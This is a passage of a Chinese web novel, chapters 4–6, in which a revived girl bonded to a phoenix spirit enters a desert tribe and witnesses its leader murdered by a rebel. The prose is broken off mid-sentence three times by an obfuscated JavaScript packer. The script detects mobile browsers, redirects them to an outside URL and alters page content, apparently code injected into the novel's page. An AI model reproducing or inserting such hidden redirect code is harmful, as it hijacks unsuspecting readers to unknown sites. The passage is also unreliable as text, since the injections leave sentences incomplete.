野人妈拔光了大鸟的羽毛,给她做了一件五彩斑斓的抹胸半裙。 乔晞爱极了这件裙子。 她常常跑到山涧深处,踩着玉盘般的叶瓣,顺着湍急的河流自在漂荡。微风卷起时,羽毛舒展地根根竖扬又层层铺开,像小小孔雀在浪尖开了屏。 明明平时那么敷衍又粗鲁的人,却用将死的身躯拼尽全力与伤害她的野人爹缠斗在一起,同归于尽。 乔晞从来没有把她当做母亲。 可她最后还是把乔晞当成了小孩。 * 那些未曾宣之于口的母爱像火一样在乔晞的心底燃烧,烧出了乔晞的浓浓恨意。 凭什么? 她也曾被人视若珍宝。 相隔七十光年的蓝星和沙棠星,两位母亲以生命为代价只为给她争一条活路。 凭什么让那些人随意夺走? * 她想活下去。 抢她船票的席董和儿子。 取她脑髓的黄博士。 视她为草芥的阿婵、阿旭。 这些人,她一个都不想放过。 * 乔晞僵硬的躯干被埋在泥潭里。 破碎的心脏里,最后一滴血滴进潭底。 万古沉眠的小小凤凰在沙棠星地心深处被惊醒。它的哀鸣带着跨越洪荒的悲恸,破腔而出。 只此一鸣,雨林轰然震颤。 群蛇盘踞之下,地底深处。 无数看不见的粒子、离子、暗物质,被无穷无尽的恨意牵引,顺着土壤缝隙涌入乔晞的身体。 伤口在愈合。 骨骼在重铸。 碎裂的心脏,被缓缓缝补。 * 乔晞的身躯被覆上了一层蛇鳞膜。 深渊之下,窟底那些昂首以待的巨蛇,收敛毒牙,低下狰狞的头颅。 它们齐齐后退。 为这个从死路里爬回来的女孩留出了一个得以恢复生机的区域。 4. 第4章 沙棠星是一颗中型卫星,围绕一对M型红矮星公转。联邦科学研究院为沙棠星制造出稳定的昼夜交替,由此,沙棠星拥有了标准意义上的“一天”。 星球地表不存在蓝星生态那样鲜明的春夏秋冬四季更替,仅根据光照强度与大气湿度变化,划分为温季、凉季、燥季、润季四段气候周期。 一年过去,燥季已至。 * 燥季的蛮荒雨林闷热得不像话。 通天巨树的树冠层,悬停着一架小型科考飞碟。船舱外延伸出一座金属观景台,悬空架在雨林上空。 几名身穿白大褂的研究者站在台边,脸上罩着透明气密面罩,正低头注视着下方的水潭。 潭底蛇窟内,几十条变异眼镜蛇盘踞在黑水之下。这些蛇体长普遍超过十五米,鳞片表面不断渗出腐蚀性黏液,盘踞交叠,如同一座座蠕动的肉山。 只有一条眼镜蛇与众不同。它躯干保持蛇形,背脊两侧生出一对薄韧肉膜,形似蝙蝠翅膀,翼骨裸露在外,膜面布满血丝与脓包。口腔内除了长信子,还裂开两道副腮,呼吸间发出高频声波,震得水面不停泛起细密涟漪。 那是一条被群蛇孤立的变异种。 观景台上,助手A盯着数据板汇报:“陈博士,我们的卵胎生孵化实验成功了!蝙蝠与眼镜蛇的变异种顺利诞生。” 陈梧州:“我们之前投放了多少枚胚胎?” 助手A与助手B对视一眼,沉默。 陈梧州:“十组变异胚胎,只成活一只,你也敢说非常成功?” 助手B替同僚辩解道:“林博士新圈定的食人花田就在附近,外源激素扩散,破坏了蛇窟原有生态,变异体存活率下降是必然结果,这不是我们的问题……” “啪——” 陈梧州一掌甩在助手B的气密面罩上。面罩受力歪斜,他的脸色迅速青紫,扑通跪倒在地,双手哆嗦着将面罩推回原位,大口喘息。 “这里不是蓝星,”陈梧州语气冰冷,“联邦已经开启新纪元,在沙棠星没有同僚只有强弱。再解决不了存活率问题,你们就自己下潭,去蛇窟一线‘研究’。” 不想再看到这几名无用的下属,陈梧州双手插兜,转身走回飞碟内部。 舱门闭合,过滤系统启动,她摘下面罩,坐到沙发上,端起一杯未喝完的热咖啡。 * 助手C:“陈博士一直是这种行事风格吗?”他是新来的,此前隶属于植物学研究团队。联邦科学研究院启动变异种孵化实验后,才被临时抽调到陈梧州麾下。 “当然不是,她从前待人十分温和。可自从被黄博士从迦南星发配到沙棠星后,整个人就像被蛇夺舍了,非常冷酷、不近人情。”助手A叹了口气。 助手B缓过来后抱怨道:“联邦的科学家本就分三六九等。” 最惨的就是他们这些科研牛马,只能沦为领导博弈的出气筒。要是能天降一道闷雷把蛇窟劈了就好了! 星际移民的七十光年间,联邦科学研究院搭建起完整的“社会演化观测体系”。沙棠星仅有的可生存面积被黄博士划分成四个独立试验区:野人村落、蛮夷部落、奴隶聚群、农耕小镇,供联邦长期观测研究。 黄博士是联邦实验室驻沙棠星总负责人,沙棠星上所有实验项目都需要向他负责。而管控潭底蛇窟的陈博士、食人花田的林博士这类动植物基因研究专家,地位天然低黄博士一等。 飞碟内部。 星际通讯器海音螺振动。 陈梧州脸色稍缓,接通投影。 光幕中出现一个小女孩,她怀抱着一只巴掌大的怪异老鼠。这只老鼠背部覆盖着一节一节凸起的甲壳,几缕半透明的翅鞘张开。 女孩兴奋道:“妈妈,我培育的蟋蟀鼠活过七天了!你快回来看!” 陈梧州温声应好。 飞碟引擎启动,弹射升空。 * 窟底水潭重回寂静。 片刻后,那条蝙蝠蛇倏地抬起头颅,胸腔剧烈震动,发出尖锐声波。声波圈圈扩散,激起雨林深处虫鸣兽吼。 黑水潭中央,有咕噜咕噜的气泡从地心不断上涌,在水面晕开涟漪。 空气中游离的粒子、离子、暗物质,被无形力量聚拢成一道涡旋,尽数涌入水底。 潭底掩埋的硬茧剧烈抖动,茧壳被由内向外层层扒开。一张从未如此干净清透的小脸,自水下缓缓浮出。 八岁的乔晞,赤身浮现。 她活过来了。 * 沙棠星接纳了乔晞,以整个星球的生态循环修复了她残破的身躯,赋予了乔晞真正的不受人操纵的新生。 乔晞睁开眼。 脑海深处,凤凰鸣响。 沙棠星是活的。作为Z156星系中生态最丰富多元的星体,它孕育出了独属于自己的精神体——万古凤凰。凤凰不愿沙棠星生态被外来基因暴力入侵,在悲痛中苏醒,选择寄宿于乔晞体内,与她达成共生。 凤凰与乔晞意识相连,精神共脑。 作为回馈,乔晞需要替沙棠星摧毁联邦的实验基地,让物种生态重归平静。 但这一切,并非眼下就能完成。 乔晞深知自己太过弱小,只有强大起来才能有与敌人抗衡的能力。 可这一年乔晞被埋在窟底水潭下,在日复一日里生出血肉,在濒死和生机中反复挣扎。她此刻急需做点什么才能平复心底的恨意与剥皮蚀骨的疼痛。 * 群蛇纷纷退避,唯有蝙蝠蛇吐着信子,缓缓朝乔晞靠近。 脑海内凤凰展翅,杀意毕露。 乔晞锁定这条入侵的变异种。 蝙蝠蛇察觉到杀意,狂躁地扇动布满脓包的蝠翼腾空而起,獠牙外翻,发出高频声波攻击乔晞。 乔晞不闪不避,双掌翻转,粒子在掌心凝聚成两把火焰刃,凌空一斩。 蝠翼应声落地,蛇的脊背被烧得焦黑。 断翼的蝙蝠蛇发出撕心裂肺的尖啸,粗壮蛇尾疯狂横扫,一卷一缠,紧紧勒住乔晞的身体,力道之大,几乎要将她拦腰绞断。 乔晞面色冷峻,直视这条异种蛇狰狞的竖瞳。精神体凤凰自她识海中冲出,火羽舒展,以不可抗拒的力量侵入蝙蝠蛇的神经中枢。 异种蛇的竖瞳疯狂收缩又放大,身体失控抽搐,原本的凶戾尽数被恐惧取代。它松开乔晞,从蛇窟跃出,仓皇逃窜。 凝聚的粒子为乔晞标出异种蛇的逃亡路线,她匍匐跃起,三步并作两步跳上巨树,紧追过去。 受惊的异种蛇闯入隔壁的新生食人花田。 这里的食人花仍处于幼苗期,花头紧闭,锯齿尚未成型,只是一团团软质肉芽。 异种蛇尾巴狂乱抽打,成片幼苗被碾成肉泥。 乔晞冷眼旁观,心中思量。 打蛇打七寸。 她抬手,粒子在她掌心拉伸成弓,指尖一松,凝聚成形的火矢缓缓显形,拖着焰尾,精准射入异种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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沙棠星则被划分进低等文明区,作为实验星,专供各类动植物学家开展活体实验与社会观测。 Z156星系特殊的磁场与大气成分,促使部分人类觉醒异能,这类人通常会被征召入伍,为联邦征战。 其中最为特殊的,当属向哨特种作战部队。哨兵强化五感,向导操控精神,二者搭档,专门服务于联邦上层阶级。 抓捕乔晞与小妹的阿婵、阿旭,正是一对向哨。 新生的脑子就是好用,这下乔晞理顺了所有仇人的落脚点,都指向同一个地方——联邦。 要想进联邦,还是得先抵达迦南星。 而从沙棠星前往迦南星,只有一条路径:参军入伍,搭乘军队星舰前往长留星中转。持有联邦通行证的公民,才被允许进入迦南星。 实验体想去参军,只能通过角斗场竞技。军队每年会从四个人类观测区里选拔基因优异的实验体参与角斗,最终胜出的五人入伍服役。 可问题来了,乔晞的实验体定位监测芯片早已被阿旭抽出丢弃,她不再是联邦登记在册的实验体。 该怎么混入角斗场呢? 两个哥哥所在的蛮夷部落,成了乔晞的突破口。 * 蛮夷部落是比野人村落进化程度更高的人类聚居地,并不属于雨林生态圈。 这里地貌干涸,赤红土壤遍布,没有高大植被,河流稀少。风沙常年席卷,视野开阔无遮挡,天空中两颗红矮星并行照耀,地表温度极高。 乔晞身上裹着几片从雨林摘下的巨叶。精神体凤凰对光热极为敏感,始终处于亢奋状态。她只觉得身体内外都在灼烧,嘴唇干裂起皮。 叶片被撕扯下来,乔晞低头啃咬,吮吸着汁液解渴。 不记得走了多久,远处终于浮现出部落的轮廓。 5. 第5章 蛮夷部落以母系氏族结构搭建。 数百座由兽皮搭建的半地穴帐篷错落分布,外围插着兽骨标记领域,空地里燃着几堆长明火。部落人口不多,女男分工明确,女性掌管火种与物资分配,男性负责外出狩猎与部落防御。 部落外围插着排列整齐的猛兽腿骨,骨头经风吹日晒泛着灰白,裂出细小花纹。骨头划出的界外是荒芜戈壁,界内,便是部落的生存之地。 * 乔晞刚踩进部落外围的领地,就有五六个巡逻的男人将她拦截住。 他们胸膛与胳膊上刺着矿物颜料绘成的野兽形态纹路。腰胯裹着兽皮,垂挂着磨白的牙骨配饰,走起路来叮铃当啷的。 人人手握石斧木矛,斧刃磨得锃亮,矛尖绑紧锋利石片,寒光凛冽。 男人们围成圈,沉默地注视着她。 乔晞:“我是来找人的。” 怕对方听不懂,乔晞学着在野人村落时的模样,压低喉咙发出吱哇乱叫,手在身前比划。 男人们依旧不动,眼神愈发警惕。 为首的男人个子最高,眉心一道深邃的疤痕从眉头划至眉尾。他打量了乔晞片刻,开口问道:“你找谁?” 发音生硬,咬字沉重。 乔晞心头一松,她要求不高,能交流就好。 这样看来,两个野人哥哥在部落生活多年,想必也学会了说话。 乔晞正想着该怎么向他们描述哥哥们的模样,那刀疤男却下令:“绑起来,关进去。” 乔晞:“?” ……也行吧。 能让她进部落就行。 * 有人上前按住乔晞的胳膊,用晒干的兽筋绳捆住她手腕,兽筋越挣越紧,深深勒进皮肉里。 乔晞倒是没有反抗,任由对方半拖半拉,最终被丢进部落里的一具捕兽笼,兽笼由硬木拼接而成,藤条捆扎得四处漏风,空间狭小到刚好容下八岁小孩的身躯,站直能顶到笼顶,躺下只能屈起双腿。 这牢笼简直像为乔晞量身定制。 看守兽笼的是个与乔晞年纪相仿的男孩,他身形瘦小,手里攥着一柄比自己还高的石斧,斧柄杵在地上,男孩用两手堪堪扶着,绷着脸一言不发。 而刚才下令抓乔晞的刀疤男,大手撩开兽皮帘,钻进了部落那顶最大最扎眼的帐篷。 没多久,那顶帐篷又进了一个年轻力壮的男人。男女混合的喘息声毫无防备地抵达乔晞耳廓。 乔晞烦躁地掏了掏耳朵。 五感过强也不是什么好事。 最扎眼的帐篷比周遭所有都大出几倍,篷顶悬挂着块大型兽皮,拔光毛晒干后的皮面用干涸的黑红血料绘了一只玄鸟图腾。 仔细看那图案也不是玄鸟,只是上面写了“玄鸟”两个字。图案上的鸟——尖喙利爪,双翼张开,凶戾张扬,可不就是以前野人爹经常猎回来、和野人妈一起扛着生啃的大鸟。 乔晞的识海内躁动起来。 精神体凤凰本来就在燥季异常亢奋,此刻再与那幅凶戾大鸟图腾遥遥对视,乔晞感觉到凤凰被彻底激怒。 大鸟居然都能被当玄鸟崇拜? 沙棠星万古凤凰的威严在哪里? 火羽展开,厉啼直冲云霄。 刹那间天昏地暗,狂风卷着沙尘肆虐。 乔晞立刻闭眼,集中注意力压制着即将破体而出的精神体。她不停地安抚着焦躁的凤凰,承诺一定将那幅破鸟图腾撕下来,画上威严的凤凰。 凤凰哪里听过这些花言巧语。 自从它与乔晞共生,乔晞的内心活动少得可怜,她们之间的交流都是只可意会不可言传。 这般好言好语,推心置腹,凤凰躁动的火翼缓缓收敛,听话地缩回到乔晞的识海深处。 乔晞不是不愿意和凤凰交流,只是她在野人村落生活了太多年,太久没有说过人话,不知道该怎么表达。 * 风沙渐息,部落里的骚动却未停。 务工的男人们握着石斧木矛纷纷冲出,紧张地环顾四周。错落的几十顶半地穴帐篷的外帘被掀起,女人们现身。 部落的女人身上绘制的纹路要比男人繁复得多,由不同的火焰、飞鸟、植物等图案组成。她们腰间系着骨刀与火种罐,头发梳得整齐,编成数条粗辫垂在身后,头顶插着鲜亮禽羽。她们人人都背负木弓,箭壶插满木箭,站姿挺拔。 女人们出来后,她们嘴唇微动,吟唱着无词的咒。男人们匍匐在地,额头紧贴红土。 咒的声调悠长厚重,带着独特的韵律。意思是部落的子民在向天地祈求风调雨顺。 * 捕兽笼这边没其他人了。 乔晞试探地叫了声:“亚贵?” 她听见其他人叫男孩亚贵,不知道是哪两个字。 男孩置若罔闻,目视前方。 乔晞弯腰捡起笼底一块碎石,丢了过去。但她没控制住力道,石子“咚”地砸在男孩额头,鼓起一个红肿的大包。 “嘶!”乔晞吸了口气,“我不是故意的。” 见始作俑者还道歉上了,男孩勃然大怒,他转过身举起石斧砸向捕兽笼。 “梆——梆——” 尖锐的撞击声刺入乔晞的脑海。 猝不及防唤醒她被黄博士开颅的记忆。 乔晞听不得这声,她抓起笼里的碎石,一块接一块砸出,双手扒着木笼,应激地发出龇牙低吼。 混乱过后,男孩被砸得鼻青脸肿。 他又气又委屈,把石斧往地上一丢,闷声道:“我叫伊古牙!” 乔晞:“……” 不得不说有点丢人了,明明五感已经全面强化,居然还会听岔名字。 伊古牙愤愤不平道:“那个野人说话有口音,你不要学他。” 见他肯说话了,乔晞抓住关键信息问:“部落里有很多野人吗?” 伊古牙却闭上嘴。 无论乔晞怎么问,都不肯回答。 两个哥哥是自幼就从野人村落来到蛮夷部落的,部落既然能接纳这些野人,那为什么轮到乔晞扮作野人与他们交流,还会被抓起来呢? 她也是如假包换的野人啊! “我也是野人,”乔晞站起来费劲地转了个圈,“你看我穿得和你们不一样。”让伊古牙看清身上被啃得坑坑洼洼的大叶子。 伊古牙还是满脸不信。 “你说话没野人口音。” 乔晞半真半假地忽悠:“那是因为我两个哥哥在部落里生活了很久很久,是他们教我的。” 伊古牙问:“你哥哥是谁?” 乔晞一时语塞。 两个哥哥当年在蛮荒雨林还不会说话,也没有名字,长得更是样貌平平,与部落里的众多男人别无二致,就算此刻站在她面前,她也未必能认出。 乔晞不肯承认自己是脸盲,只有长得特色鲜明的或奇异怪状的人才能被她记住。 见乔晞说不出个所以然,伊古牙更坚信她不是什么好人,不然怎么会被首领帐下的男人抓进部落里关起来! 伊古牙:“部落不接纳外来女人,你是敌人。” 蛮夷部落连野人都接纳,为什么不接纳女人? 乔晞想追问缘由。 就近的帐篷边传来一声轻唤:“伊古牙。” 与他们年纪相仿的部落女孩站在那里,身着毛发鲜艳漂亮的兽皮裙,身份显然不一般。 伊古牙小跑过去,两人交谈几句,内容无非是让伊古牙不要与乔晞说话。 他回来后,站得离捕兽笼远远的。 * 乔晞指尖的粒子聚拢。 她在衡量是否要直接挣脱笼子。 就在此时,部落外传来喧闹声。 十几名外出狩猎的男人归来,肩上扛着巨兽,手里提着血淋淋的肉块。 中央帐篷帘布掀开,部落的首领现身。她身形高大挺拔,肌肉紧实匀称。右眉纹着一道细小火苗图腾。长发高高束起,以骨簪固定,露出饱满额头。 所有男人立刻单手抱肩,单膝跪地,低头行礼。女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315383|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们站成半圆,齐声喊道:“姜女!姜女!姜女!” 乔晞散掉凝聚的粒子,决定再看看。 蛮夷部落好像在准备什么大型仪式。 她或许能在人群里认出哥哥们。 “哟呵嘿——” 女人们齐声低喝。 “嘿呀——” “嘿呀——” 男人们跪下喊道。 姜女唱着祭祀词。 女人们拍掌、踩地、动作掷地有声。 “天为盖,地为庐。” “母神在,佑我乡。” “火为刃,血为印。” “妖鬼离,不敢侵。” “一呼母,再呼祖。” “母有女,族有继。” 男人们俯身叩首,额头紧贴土地。 一遍又一遍,沉闷而壮大。 无词的咒再次被吟唱。 庄严的韵律在戈壁回荡。 * 首领姜女高举火把,她抬手一招,刚才与伊古牙说话的女孩从人群里走出。 女孩走到姜女面前,俯身握住对方的手,虔诚地亲吻她的手背。 “姜诺迦——” 姜女牵起她的手,向部落众人宣告: “我们的新首领!” 男人们沉闷叩首呼喊:“诺迦!诺迦!” 女人们昂首齐声呐喊:“诺迦!诺迦!” 乔晞在兽笼里看得清楚。 什么运气,刚来就撞上了首领换代。 姜女将火把递到姜诺迦手里。姜诺迦年纪尚小,却昂首举着火把,火焰熊熊燃烧,将她小小的影子拉得伟岸高大。 震天的叩头声与呼喊声里。 乔晞的耳朵敏锐地动了动。 有一个人的叩头节奏,比众人慢了整整半拍。 那人在分心。 他在忙什么? ……不对,他想干什么?! 火光一晃。 离姜女和姜诺迦最近的那名一直跪地不起的男人突然暴起,他手里握着柄磨得雪亮的短矛。 姜女柔和地看着姜诺迦,正给她盘起头发,插上骨簪。 就在此时,姜女动作一顿。 姜诺迦的瞳仁里还倒映着姜女的笑容。 短矛尖刺倏地扎进姜女的脖颈。 乔晞心脏砰砰跳。 不会吧…… 那不是首领姜女帐下的男人吗? 是那个下令抓捕乔晞的刀疤男! 姜女双目圆睁,双手捂住脖子。 她后退几步,不可置信的望着刀疤男,鲜血咕噜咕噜地顺着矛尖从指缝喷溅而出,溅了姜诺迦满脸满身。 “母亲!”姜诺迦失声惊呼。 刀疤男抽回短矛,矛尖翻转,抵住姜诺迦的脖颈。再进毫厘,只怕会和旧首领同一下场。 原本跪地的男人们起身,抓起武器进入备战状态。女人们同时搭箭拉弓,箭矢直指胁迫新任首领的刀疤男,战斗一触即发。 刀疤男抬手夺过姜诺迦手中的火把,掷向悬挂玄鸟图腾的杆子。兽皮沾火即燃,火焰瞬间包裹那只凶戾的大鸟,鸟形轮廓在火中扭曲,最终化为飞灰。 “顺我者,活!” 局势再次发生变化—— 那些备战的男人们像是得到了暗号,他们立刻翻转脊背,挡在刀疤男身前,将手里武器对准女人们。 被男人背叛,女人们尖锐凶猛的嘶吼起来。 白发苍苍的老人拄着拐杖,从人群后方走出。她抬手指着刀疤男怒斥:“姜不弃!你这个低贱的男人,还不快放开首领!要不是姜女当年在雨林把你救回来,你早就被蛇群撕成碎片了。” 蛮荒雨林? 乔晞的手指攥住木笼。 年纪嘛,看着也差不多。 乔晞伸出手遮住男人脸上的刀疤。 如果没有这条疤痕的话…… 长得是平平无奇没错。 姜不弃。 会不会是她的野人哥哥之一? 6. 第 6 章 白发老人挥舞着拐杖就要往姜不弃脑袋上砸。那根骨杖是她用了一辈子的东西,被打磨的光滑油润,可见她平日里爱惜的很。此刻,她边砸边骂着姜不弃是牲口玩意儿。 那些挡在姜不弃身前的人们根本拦不住突然发疯的老人,她像阵龙卷风一样的砸开包围圈冲过去了。还有的人被她趁乱打得落花流水,最后落得鼻青脸肿。 这个老疯子! 姜不弃单手生生的掐住姜诺迦的脖子将她拔地而起,往后快速的退了几步。姜诺迦双脚离地乱蹬,拼命的掰着姜不弃的手。 “嘭——” 突然像被什么无形的东西绊了。 姜不弃狼狈地摔在了地上。 而姜诺迦被他松手甩出去,脑袋撞在帐篷的骨架上,晕了过去了。 谁? 谁在偷袭他?! 姜不弃大惊,趴在地上狐疑地望着满地的男人们和女人们。 乔晞用被捆住的双手捂着嘴。 隔空朝姜不弃眨了眨眼。 可惜他看不见。 生生死死这么几次,乔晞最烦别人扎小孩脖子!掐小孩脖子!哪怕这个人疑似是她哥哥也不行! * 伊古牙攥着石斧冲上去,挡在姜诺迦面前。他人小,石斧又大,拿在手里沉甸甸的,胳膊像翅膀一样煽动。 老人笃笃着拐杖穷追不舍。 姜不弃嗤笑。 真是好样的! 好一个两小无猜! 好一个祖孙情深啊! “老祖宗你自己也有外孙,何必捧着别人的血脉当首领呢?” 这话说出来,大家都安静了,开始思考了。有人的视线在老人和伊古牙之间频频流转。 老人的脸沉得不能再沉。 部落里的规矩谁都知道,首领从来都是女人当,传给女儿,传给孙女,传给侄女,从来没听说过传给男人的。 姜不弃这话不是骂人,是在挖根。 但他们听了,眼神就不一样了。 本来这群被策反的人们站在姜不弃身后,手里握着石斧木矛,脸上还有点儿犹豫。刚才老人冲过来,还有几人下意识往后退了半步。 可姜不弃这话一说,他们又站直了身板。 是啊,凭什么? 每天出去打猎,一走就是好几天,扛回猎物扔在地上任由女人挑挑拣拣的是他们,分到最少物资的还是他们。 甚至吃饭都不能进帐篷,只能蹲在露天外头就着风沙吃。 他们守夜、站岗,跟野兽拼命,回来还要和别人共同侍奉一个女人。祭祀的时候尊贵的女人站着唱歌跳舞,他们趴在地上叩头,头磕肿了都不能抬起来。 这些话平时没人说,大家伙心里都压着。 姜不弃替他们说出来了。 老人看见那些人跃跃欲试的眼神,就知道坏了。她一直就不赞成姜女收留这么多男人进部落,不能生又不能养的东西,吃得还多!像野兽一样每次战斗完都要疏解生理需求。 要不是为了部落的壮大和繁衍,何至于此! 姜不弃:“我们也有脊梁,谁不想抬头活着呢?” 老人哦了声:“那你先去死吧。” “端起碗吃饭放下碗骂娘,你这般有本事,当初怎么不死在雨林里?还不是祈求姜女救你?还不是死皮赖脸在部落讨生活?是我忘了,你们野人连自己的手足骨肉都生食,你是在野人那儿活不下去了才磕着头爬到这里求我们收留的。” 活得久的人,骂人就是难听。 可旁边与姜不弃为伍的人却小声嘟囔道:“就算是救命之恩这么多年也该还清了吧。”难道仅仅只是被部落的女人救了命,就要低一辈子头吗? 那个救了他性命的女人从来都把他当成牲口使唤,只有姜不弃告诉他,原来他可以顶天立地的站着。 现在终于有抬头的希望,谁不想翻身? “咻——” 一支箭矢破空而来。 扎进那男人的肩膀。 射箭的女人放下弓。 “见笑了大家,这是我帐篷里的人,合该由我来清理。”她也是在告诉众人,若还有自己帐下的男人胆敢挑衅,不必心慈手软。 中箭的男人捂着肩膀瘫在地上。 他扭头找姜不弃,大喊救命。 * 姜不弃却没管他。 他让人绑了孤立无援的伊古牙和姜诺迦,逼着那群气势汹汹的女人们放下弓箭。 新首领的死活总要管吧? 女人们握着弓箭的手纷纷犹豫后放下,她们投鼠忌器,终究不敢拿姜诺迦的命做赌注。 乔晞暗暗摇头。 她们心太善,太守规矩。 明明持有远程兵器,优势明显。却心甘情愿被人生生拿捏住七寸。做事不做绝,就起不到敲山震虎的效果。 她们豁不出去,而姜不弃豁的出去。 姜不弃的目光落在伊古牙身上,忽然起了逗弄的心思,他开口说道:“伊古牙,我让你当部落首领,好不好?” “伊古牙,不要被他蛊惑。”老人冷声呵斥。 伊古牙却天真的问:“你说真的吗?” 姜不弃:“自然是真的,你不是喜欢姜诺迦吗?我让她以后进你帐篷,给你伏地做小,端茶倒水,尽心伺候你,如何?” 此言一出,全场震惊。 男人们面露惊愕。 女人们更是气得浑身发抖。 这……这比杀了姜女还过分! 姜女还未瞑目,泉下有知女儿被这么对待,怕不是要气得活过来。 这般行径,姜不弃是想彻底改写部落的规矩。哪怕他这次不成事,他也在这些男人们心里种下了熊熊烈火,女人们心里会始终埋着尖刺。谁能保证日后不会有人再揭竿而起? 伊古牙:“你说要把她给我,那你先把她放了。” 姜不弃低笑出声:“放了我做不到。你在害怕什么?我又不骗你,杀了她和这些女人们鱼死网破,对我有什么好处?” 伊古牙说不过他。 一个野人说起话来怎的口齿如此伶俐? 姜不弃让人把姜诺迦关进捕兽笼。 * 乔晞百无聊赖地靠在笼壁上,看着隔壁那被抬进来的邻居。漂亮规整的兽皮裙,溅上血渍一点也不好看了。 “咚——” “咚——” 乔晞弯腰捡起笼底的碎石,熟练地砸向姜诺迦的额头。 姜诺迦捂着肿起的额头,艰难地从笼底爬起来,眼神迷茫。 “我不是坏人,我是来找哥哥的。” 姜诺迦:“……” 外边哪个是你哥哥? 姜诺迦的沉默震耳欲聋。她的母亲,刚刚在她面前被杀死。母亲豢养的男人将她囚禁,还要夺走她的首领之位。 她现在哪有心思去帮这个野人找哥哥? 姜诺迦不想理会乔晞。 乔晞:“我可以杀死姜不弃。” 姜诺迦瞪着乔晞,满脸写着“你在开什么天大的玩笑”。一个被关在兽笼的野人小孩,口出狂言,简直可笑至极。 可笑的野人小孩却突然抬起被兽筋捆在一起的双手,隔空将姜诺迦所在的兽笼扯开一道足以钻出脑袋的缝隙。 姜诺迦瞠目结舌,看着那道缝隙,又看向乔晞,嘴唇哆嗦着,半天说不出一句完整的话来。 我的天姥姥! “你、你……” 这是怎么做到的? “你是玄鸟派来的使者吗?” 乔晞神神秘秘道:“我是凤凰派来的使者。” * 两个小孩还没交流多久就发现她们俩的笼子被人用绳索吊上了半空。绳索绷紧后,兽笼悬空摇摇晃晃。 手持武器、剑拔弩张的部落众人举着火把聚集到她们的下方。 乔晞满脸错愕。 关她啥事? 她怎么反倒也被吊了起来。 老人敲着拐杖,望向半空的乔晞,眉头紧皱问道:“这个野人小孩是哪来的?” 乔晞简直要热泪盈眶。 来到部落这么久,她怎么和别人说自己是野人都没人信。现在终于有人耳清目明,一眼就认出她是野人了。 果然年纪大眼神就好使啊。 伊古牙:“她说她是来找哥哥的。” 蛮夷部落的男人们面面相觑,部落里本就有不少被收留的野人。一时间竟无人知晓,也无人认领,哪个是这野人小孩的哥哥。 乔晞趴下,被吊起来视野是真的广阔。她低头扫视下方一张张被火把照亮的脸,苦思冥想。这些男人……怎么都长一个样啊? 就在乔晞一筹莫展之际,伊古牙突然举起石斧,指着姜不弃,厉声喊道:“是你!” 乔晞:“?” 不会吧,难道这个夺权篡位的真是她哥哥? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315384|198945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一点儿也不想与蛮夷部落为敌啊! 伊古牙:“三年前,阿大阿二本来伺候姜女伺候的好好的,是你!是你带他们去参加角斗场!角斗场开启,生死不论,他们进去之后,就再也没消息了!” 乔晞听呆了。 阿大、阿二,原来这就是哥哥们的名字吗? 在没有蓝星记忆的那些平淡日子里,乔晞不记得自己是不是无意中曾喊过他们大哥、二哥。 他们用这个作为名字了吗? 这么潦草…… 别人的名字,都叫什么姜不弃、姜诺迦、伊古牙,他们就叫阿大阿二。 像什么熊大熊二一样。 乔晞想着想着就笑了。 姜不弃却坦然承认:“谁能想到阿大阿二的妹妹居然能跨越蛮荒雨林找到这里来,若不是今晚要杀姜女起事,我可能还会善心大发的把他们的下落告诉你。” 乔晞疑惑:“你认得我?” 姜不弃:“我当然认得你,可惜你两个哥哥从来没有跟你提起过我,”他像是想到了什么好笑的事,“噢我想起来,他们陪你长大的时候还不会说人话。” 姜不弃非常不理解阿大阿二为什么要经常背着沉甸甸的猎物,千里迢迢的跨过危险重重的蛮荒雨林回到野人村落里,难道就只是为了陪这个妹妹玩? 真是太可笑了! 野人村落哪里可能会产生亲情纽带这种东西,那群禽兽般的野人连自己的手足骨肉都吃。 姜不弃的野人爹吃了他的野人妈,啃食了他的哥哥姐姐。他走投无路,不小心闯入蛮荒雨林的潭底蛇窟。 若不是遇到姜女…… 他的确活不到现在。 可若不是姜女,他又怎会如此? 乔晞:“是你骗他们去的角斗场?” 她的哥哥们虽然当时还不会说话,但也绝不是什么都没交代就一声不吭去闯角斗场的人。 姜不弃看着兽笼中小孩漆黑的瞳仁,不由得打了个冷颤。 “是又怎么样?你又能怎么样?” 一个野人小孩能做什么? 是有部落女人那样强壮的身躯?还是有超乎常人的攻击力?还是有聪明缜密的头脑? 姜女这么强大的领袖都能被他杀死。 区区野人小孩,不值一提。 她就像她的两个哥哥一样,傻乎乎的就被骗进了部落,手无缚鸡之力却还想叫嚣着讨个公道。 姜不弃厌恶野人,厌恶女人。 乔晞两个都占了。 姜不弃握拳仰头大笑,语气残忍:“既然你这么想哥哥,要不送你去角斗场找他们好了。可惜角斗场温季才开启,而我根本不会让你活到那个时候。” 乔晞沉默了。 听完前因后果的老人却噗嗤一声笑了,“姜不弃,原来你一直嫉恨姜女对阿大阿二好。” 姜不弃面色阴狠。 都是蛮荒雨林走出来的野人,谁又比谁高贵了?凭什么阿大阿二能住进姜女的帐篷,他只能守在十里外的荒地? 